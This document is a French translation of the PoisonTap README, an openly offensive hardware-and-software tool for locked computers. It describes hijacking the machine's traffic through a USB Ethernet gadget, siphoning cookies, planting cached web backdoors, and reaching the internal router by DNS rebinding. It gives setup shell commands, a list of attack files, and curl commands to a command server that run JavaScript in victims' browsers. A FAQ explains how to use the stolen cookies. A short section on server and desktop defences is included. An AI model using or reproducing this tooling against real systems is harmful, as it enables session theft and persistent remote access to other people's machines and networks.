PoisonTap - siphonne les cookies, expose le routeur interne et installe une porte dérobée web sur les ordinateurs verrouillés
Créé par @SamyKamkar || https://samy.pl
Lorsque PoisonTap (Raspberry Pi Zero et Node.js) est branché sur un ordinateur verrouillé/protégé par mot de passe, il :
- émule un périphérique Ethernet via USB (ou Thunderbolt)
- détourne tout le trafic Internet de la machine (malgré le fait d'être une interface réseau de faible priorité/inconnue)
- siphonne et stocke les cookies HTTP et les sessions du navigateur web pour les 1 000 000 premiers sites Alexa
- expose le routeur interne à l'attaquant, le rendant accessible à distance via WebSocket sortant et DNS rebinding (merci Matt Austin pour l'idée du rebinding !)
- installe une porte dérobée web persistante dans le cache HTTP pour des centaines de milliers de domaines et d'URL Javascript CDN courantes, le tout avec accès aux cookies de l'utilisateur via l'empoisonnement du cache
- permet à l'attaquant de forcer à distance l'utilisateur à faire des requêtes HTTP et à renvoyer les réponses (GET & POST) avec les cookies de l'utilisateur sur tout domaine piégé
- ne requiert pas que la machine soit déverrouillée
- les portes dérobées et l'accès à distance persistent même après le retrait du dispositif et le départ de l'attaquant
(incroyable animation HTML5 canvas par Ara)
PoisonTap contourne les mécanismes de sécurité suivants :
Démo
PoisonTap est conçu pour le Raspberry Pi Zero à 5 $ sans aucun composant supplémentaire autre qu'un câble micro-USB et une carte microSD, ou peut fonctionner sur n'importe quel Raspberry Pi (1/2/3) avec un dongle Ethernet-vers-USB/Thunderbolt, ou peut fonctionner sur d'autres appareils capables d'émuler des gadgets USB tels que USB Armory et LAN Turtle.
Démonstration en direct et plus de détails disponibles dans la vidéo :
Point de contact : @SamyKamkar // https://samy.pl
Sortie : 16 novembre 2016
Code source et téléchargement : https://github.com/samyk/poisontap
PoisonTap produit un effet en cascade en exploitant la confiance existante dans divers mécanismes d'une machine et d'un réseau, notamment USB/Thunderbolt, DHCP, DNS et HTTP, pour produire un effet boule de neige d'exfiltration d'informations, d'accès au réseau et d'installation de portes dérobées semi-permanentes.
En résumé, PoisonTap effectue les opérations suivantes :
Détournement de réseau
- L'attaquant branche PoisonTap (comme un Raspberry Pi Zero « armé ») sur un ordinateur verrouillé (même si l'ordinateur est protégé par mot de passe)
- PoisonTap émule un périphérique Ethernet (par exemple, Ethernet sur USB/Thunderbolt) -- par défaut, Windows, OS X et Linux reconnaissent un périphérique Ethernet, le chargent automatiquement comme périphérique réseau de faible priorité et effectuent une requête DHCP à travers lui, même lorsque la machine est verrouillée ou protégée par mot de passe
- PoisonTap répond à la requête DHCP et fournit à la machine une adresse IP, mais la réponse DHCP est conçue pour dire à la machine que tout l'espace IPv4 (0.0.0.0 - 255.255.255.255) fait partie du réseau local de PoisonTap, plutôt qu'un petit sous-réseau (par exemple 192.168.0.0 - 192.168.0.255)
- Normalement, il serait sans importance qu'un périphérique réseau secondaire se connecte à une machine, car il recevrait une priorité inférieure à celle du périphérique réseau existant (de confiance) et ne supplanterait pas la passerelle pour le trafic Internet, mais...
- Toute sécurité de table de routage / priorité de passerelle / ordre de service des interfaces réseau est contournée en raison de la priorité du « trafic LAN » sur le « trafic Internet »
- PoisonTap exploite cet accès réseau, même en tant que périphérique réseau de faible priorité, car le sous-réseau d'un périphérique réseau de faible priorité reçoit une priorité supérieure à celle de la passerelle (route par défaut) du périphérique réseau de plus haute priorité
- Cela signifie que si le trafic est destiné à 1.2.3.4, alors que normalement ce trafic atteindrait la route/passerelle par défaut du périphérique réseau principal (non-PoisonTap), PoisonTap reçoit en réalité le trafic parce que le sous-réseau/réseau « local » de PoisonTap contient prétendument 1.2.3.4, et toutes les autres adresses IP existantes ;)
- Pour cette raison, tout le trafic Internet passe par PoisonTap, même si la machine est connectée à un autre périphérique réseau de priorité supérieure avec une passerelle appropriée (le vrai wifi, ethernet, etc.)
Siphonnage de cookies
- Tant qu'un navigateur web tourne en arrière-plan, il est probable que l'une des pages ouvertes effectue une requête HTTP en arrière-plan (par exemple pour charger une nouvelle publicité, envoyer des données à une plateforme d'analyse, ou simplement continuer à suivre vos mouvements web) via AJAX ou des balises script/iframe dynamiques
- Vous pouvez le constater vous-même : ouvrez vos outils de développement/inspecteur (généralement Cmd+Shift+I ou Ctrl+Shift+I), allez sur un site web très visité, cliquez sur l'onglet Réseau, et regardez les ressources distantes continuer d'être accédées même sans aucune action de votre part sur la page
- Lors de cette requête HTTP, comme tout le trafic sort par le dispositif PoisonTap, PoisonTap usurpe le DNS à la volée pour renvoyer sa propre adresse, ce qui fait que la requête HTTP atteint le serveur web PoisonTap (Node.js)
- Si le serveur DNS pointe vers une IP interne (LAN) pour laquelle PoisonTap ne peut pas obtenir de privilège, l'attaque continue de fonctionner car le serveur DNS interne produira des adresses IP publiques pour les différents domaines attaqués, et ce sont ces adresses IP publiques que PoisonTap a déjà détournées
- Une fois que le serveur DNS interne répond, le navigateur web atteint l'IP publique, aboutissant finalement au serveur web PoisonTap (Node.js) dans les deux scénarios
- Lorsque le serveur web Node reçoit la requête, PoisonTap répond avec une réponse qui peut être interprétée comme du HTML ou du Javascript, les deux s'exécutant correctement (de nombreux sites web chargent du HTML ou du JS dans des requêtes en arrière-plan)
- La page indifférenciée HTML/JS produit ensuite de nombreuses iframes cachées, chaque iframe pointant vers un domaine différent du top 1 million Alexa
- Toute sécurité « X-Frame-Options » du domaine est contournée car PoisonTap est désormais le serveur HTTP et choisit quels en-têtes envoyer au client
- Comme chaque requête HTTP iframe vers un site est effectuée (par exemple, http://nfl.com/PoisonTap), les cookies HTTP sont envoyés du navigateur à l'« IP publique » détournée par PoisonTap, qui journalise rapidement les cookies/informations d'authentification, enregistrant des dizaines de milliers de cookies de l'utilisateur dans PoisonTap
- Toute sécurité « HttpOnly » des cookies est contournée et ces cookies sont capturés car aucun Javascript n'est exécuté sur le domaine lui-même, mais seulement utilisé pour charger l'iframe en premier lieu
- Toute sécurité Cross-Origin Resource Sharing ou Same-Origin Policy est contournée car le domaine accédé semble légitime au navigateur
Portes dérobées web accessibles à distance
- Pendant que PoisonTap produisait des milliers d'iframes, forçant le navigateur à charger chacune d'elles, ces iframes ne sont pas du tout des pages vides, mais plutôt des portes dérobées HTML+Javascript qui sont mises en cache indéfiniment
- Parce que PoisonTap force la mise en cache de ces portes dérobées sur chaque domaine, la porte dérobée est liée à ce domaine, permettant à l'attaquant d'utiliser les cookies du domaine et de lancer des requêtes same-origin à l'avenir, même si l'utilisateur n'est actuellement pas connecté
- Par exemple, lorsque l'iframe http://nfl.com/PoisonTap est chargée, PoisonTap accepte le trafic Internet détourné, répond à la requête HTTP via le serveur web Node
- Des en-têtes HTTP supplémentaires sont ajoutés pour mettre la page en cache indéfiniment
- La réponse réelle de la page est une combinaison de HTML et de Javascript qui produit un WebSocket persistant vers le serveur web de l'attaquant (sur Internet, pas sur le dispositif PoisonTap)
- Le WebSocket reste ouvert, permettant à l'attaquant, à tout moment dans le futur, de se reconnecter à la machine piégée et d'effectuer des requêtes à travers toute origine ayant la porte dérobée implémentée (le top 1 000 000 de sites Alexa -- voir ci-dessous)
- Si la porte dérobée est ouverte sur un site (par exemple, nfl.com), mais que l'utilisateur souhaite attaquer un domaine différent (par exemple, pinterest.com), l'attaquant peut charger une iframe sur nfl.com vers la porte dérobée de pinterest.com (http://pinterest.com/PoisonTap)
- Encore une fois, toute sécurité « X-Frame-Options », Cross-Origin Resource Sharing et Same-Origin Policy du domaine est entièrement contournée car la requête atteindra le cache laissé par PoisonTap plutôt que le véritable domaine
Porte dérobée du routeur interne et accès à distance
- Le seul réseau que PoisonTap ne peut pas détourner est le sous-réseau LAN réel de la véritable interface réseau (par exemple, si le sous-réseau wifi de l'utilisateur est 192.168.0.x, ce réseau n'est pas affecté), mais...
- PoisonTap force la mise en cache d'une porte dérobée sur un hôte spécial, spécifiquement l'IP du routeur cible précédée de « .ip.samy.pl », par exemple 192.168.0.1.ip.samy.pl, produisant essentiellement une attaque de DNS rebinding persistante
- Lors de l'utilisation de PoisonTap comme serveur DNS (victime utilisant un serveur DNS public), PoisonTap répond avec l'IP spécialisée de PoisonTap temporairement (1.0.0.1), ce qui signifie que toutes les requêtes à ce moment atteindront le serveur web PoisonTap
- Si au contraire le serveur DNS est défini sur le réseau interne (par exemple, 192.168.0.x), une requête supplémentaire spécialement conçue est faite à 1.0.0.1**.pin.**ip.samy.pl qui indique à mon serveur DNS spécialisé (sur l'Internet public) de répondre temporairement à toute adresse [ip.address].ip.samy.pl avec l'adresse « épinglée » (1.0.0.1) pendant plusieurs secondes
- PoisonTap installe ensuite rapidement une porte dérobée sur http://192.168.0.1.ip.samy.pl/PoisonTap, qui pointe pour le moment vers le dispositif PoisonTap à 1.0.0.1, permettant à la porte dérobée d'être accessible et mise en cache depuis le dispositif PoisonTap
- Les sécurités DNS pinning et DNS rebinding sont contournées en raison de l'épuisement de la table de DNS pinning, dû aux centaines de milliers de requêtes faites juste avant, et aucun rebinding ne doit se produire à l'avenir, rendant cette attaque persistante sur de longues périodes (merci à Matt Austin de m'avoir partagé cette attaque !)
- Maintenant qu'une porte dérobée est forcée en cache sur http://192.168.0.1.ip.samy.pl/PoisonTap, toute requête future vers 192.168.0.1.ip.samy.pl atteindra l'adresse IP non épinglée, ce qui fait résoudre 192.168.0.1 à la place, pointant directement vers le routeur
- Cela signifie que si l'on charge l'hôte 192.168.0.1.ip.samy.pl/PoisonTap dans une iframe à distance via la porte dérobée, on peut désormais effectuer des AJAX GET/POST vers toute autre page du routeur interne, entièrement à distance, permettant ainsi un accès distant au routeur interne
- Cela peut conduire à d'autres attaques sur le routeur auxquelles l'attaquant n'aurait peut-être jamais eu accès en premier lieu, comme l'utilisation des identifiants administrateur par défaut du routeur pour écraser les serveurs DNS, ou d'autres vulnérabilités d'authentification exposées
Récapitulatif du serveur DNS :
- [ip.addy].ip.samy.pl normalement répond avec [ip.addy]
- 192.168.0.1.ip.samy.pl -> 192.168.0.1 (enregistrement A)
- [ip.addy].pin.ip.samy.pl temporairement (~5 secondes) fait pointer *.ip.samy.pl vers [ip.addy]
- 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
- 192.168.0.1.ip.samy.pl -> 1.0.0.1 (enregistrement A, TTL court)
- (après ~5 secondes)
- 192.168.0.1.ip.samy.pl -> 192.168.0.1 (enregistrement A)
Portes dérobées web supplémentaires accessibles à distance
- En outre, PoisonTap remplace des milliers de fichiers Javascript courants basés sur CDN, par exemple les CDN Google et jQuery, par le code correct plus une porte dérobée qui donne à l'attaquant accès à tout domaine chargeant le fichier Javascript CDN infecté
- Parce qu'une porte dérobée est laissée sur chaque domaine, cela permet à l'attaquant de forcer à distance le navigateur piégé à effectuer des requêtes same-origin (AJAX GET/POST) sur pratiquement tout grand domaine, même si la victime n'a actuellement aucune fenêtre ouverte vers ce domaine
- La porte dérobée vivra désormais sur tout site supplémentaire qui utilise également l'un de ces frameworks Javascript CDN infectés, basés sur HTTP, lorsque la victime visite le site
Se protéger contre PoisonTap
Sécurité côté serveur
Si vous exécutez un serveur web, vous protéger contre PoisonTap est simple :
- Utilisez exclusivement HTTPS, au minimum pour l'authentification et le contenu authentifié
- Honnêtement, vous devriez utiliser HTTPS exclusivement et toujours rediriger le contenu HTTP vers HTTPS, empêchant un utilisateur d'être trompé pour fournir des identifiants ou d'autres PII sur HTTP
- Assurez-vous que le drapeau Secure est activé sur les cookies, empêchant les cookies HTTPS de fuir via HTTP
- Lorsque vous utilisez des ressources Javascript distantes, utilisez l'attribut de balise script Subresource Integrity
- Utilisez HSTS pour empêcher les attaques de déclassement HTTPS
Sécurité du bureau
- Ajouter du ciment à vos ports USB et Thunderbolt peut être efficace
- Fermer votre navigateur à chaque fois que vous vous éloignez de votre machine peut fonctionner, mais c'est totalement impraticable
- Désactiver les ports USB/Thunderbolt est également efficace, bien qu'impraticable aussi
- Verrouiller votre ordinateur n'a aucun effet car les piles réseau et USB fonctionnent pendant que la machine est verrouillée ; cependant, passer en mode veille chiffrée où une clé est requise pour déchiffrer la mémoire (par exemple, FileVault2 + veille profonde) résout la plupart des problèmes car votre navigateur ne fera plus de requêtes, même après réveil
Téléchargement
Code source : https://github.com/samyk/poisontap
Installation / Répartition des fichiers
Remarque : Si vous constatez que le dispositif n'agit PAS automatiquement comme un contrôleur Ethernet (versions plus anciennes de Windows, par exemple), vous pouvez modifier le VID et le PID dans pi_startup.sh```bash
sudo bash
If Raspbian BEFORE 2016-05-10, then run next line:
BRANCH=next rpi-update
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo "dtoverlay=dwc2" >> /boot/config.txt
echo -e "dwc2\ng_ether" >> /etc/modules
sudo sed --in-place "/exit 0/d" /etc/rc.local
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs
Placez dhcpd.conf dans /etc/dhcp/dhcpd.conf et le reste des fichiers dans /home/pi/poisontap, puis redémarrez pour vous assurer que tout fonctionne.
Il y a un certain nombre de <a href="https://github.com/samyk/poisontap" target=_blank>fichiers dans le dépôt</a>, utilisés sur différents côtés. La liste :
* **backdoor.html** - Chaque fois qu'une URL http://hostname/PoisonTap est sollicitée pour exfiltrer les cookies, ce fichier est ce qui est renvoyé comme contenu forcé en cache. Il contient une backdoor qui produit un websocket sortant vers samy.pl:1337 (réglable sur n'importe quel hôte/port) qui reste ouvert en attendant les commandes du serveur. Cela signifie que lorsque vous chargez une iframe sur un site, telle que http://hostname/PoisonTap, c'est ce contenu qui est peuplé (même après que PoisonTap a été retiré de la machine).
* **backend_server.js** - C'est le serveur Node.js que vous exécutez sur votre serveur accessible depuis Internet. C'est à lui que se connecte backdoor.html (par exemple, samy.pl:1337). C'est le même serveur auquel vous vous connectez pour envoyer des commandes à vos machines minion PoisonTapped, par exemple```bash
# pop alert to victim
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# to set a cookie on victim
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
- pi_poisontap.js - Ce fichier s'exécute via Node.js sur le Raspberry Pi Zero et constitue le serveur HTTP chargé de traiter les requêtes HTTP interceptées par PoisonTap, de stocker les cookies collectés et d'injecter les backdoors en cache.
- pi_startup.sh - Ce script s'exécute au démarrage du Raspberry Pi Zero afin de configurer l'appareil pour émuler un gadget Ethernet-over-USB, mettre en place notre serveur DHCP malveillant, autoriser la redirection du trafic, l'empoisonnement DNS, et lancer pi_poisontap.js ci-dessus.
- target_backdoor.js - Ce fichier est préfixé à tous les fichiers JavaScript liés aux CDN, les backdoorant ainsi, par exemple l'URL jQuery du Google CDN.
- target_injected_xhtmljs.html - C'est le code qui est injecté dans les requêtes HTTP/AJAX involontaires ou d'arrière-plan sur la machine de la victime et qui déclenche l'intégralité de l'attaque. Il est conçu pour être interprété aussi bien comme du HTML que comme du JavaScript tout en exécutant le même code. De plus, l'incroyable canvas HTML5 est réalisé par le génial Ara oen CodePen et était trop génial pour ne pas être inclus. C'est ce délire graphique qui apparaît lorsque la page est prise en charge par PoisonTap.
- poisontap.cookies.log - Ce fichier est généré lorsque la machine de l'utilisateur commence à envoyer des requêtes HTTP à PoisonTap et enregistre le cookie du navigateur ainsi que l'URL/le domaine associé auquel il appartient.
Foire aux questions
- Q : Comment ajouter des domaines supplémentaires à backdoorer ?
- A : La liste des domaines à backdoorer est définie dans
target_injected_xhtmljs.html par la fonction getDoms(). Celle-ci est elle-même alimentée par le script alexa1m.sh à la racine du dépôt. Si vous souhaitez ajouter des domaines supplémentaires à cette liste, il vous suffit de modifier l'appel return dans getDoms().
- Q : Comment utiliser les cookies capturés ?
- A : Vous pouvez utiliser l'API Document.cookie directement depuis la console JavaScript de votre navigateur pour définir des cookies. Cet article StackOverflow contient également quelques suggestions spécifiques à Chrome, par exemple l'extension Chrome Cookie Inspector.
- Q : Comment nettoyer Poisontap d'une machine ?
- A : Vous devez vider le cache DNS local du système d'exploitation, ainsi que les caches du navigateur. Vous devrez peut-être aussi invalider toutes les sessions connectées à ce moment-là, qui ont pu fuiter des cookies. Assurez-vous que cela invalide les cookies existants, et non pas simplement vous déconnecter. (Si vous souhaitez travailler en toute sécurité avec un dispositif PoisonTap sur votre machine actuelle, assurez-vous de quitter tout navigateur, puis vous devriez pouvoir le connecter à votre machine en toute sécurité).
Point de contact : @SamyKamkar
Vous pouvez voir plus de mes projets ou me contacter sur https://samy.pl.
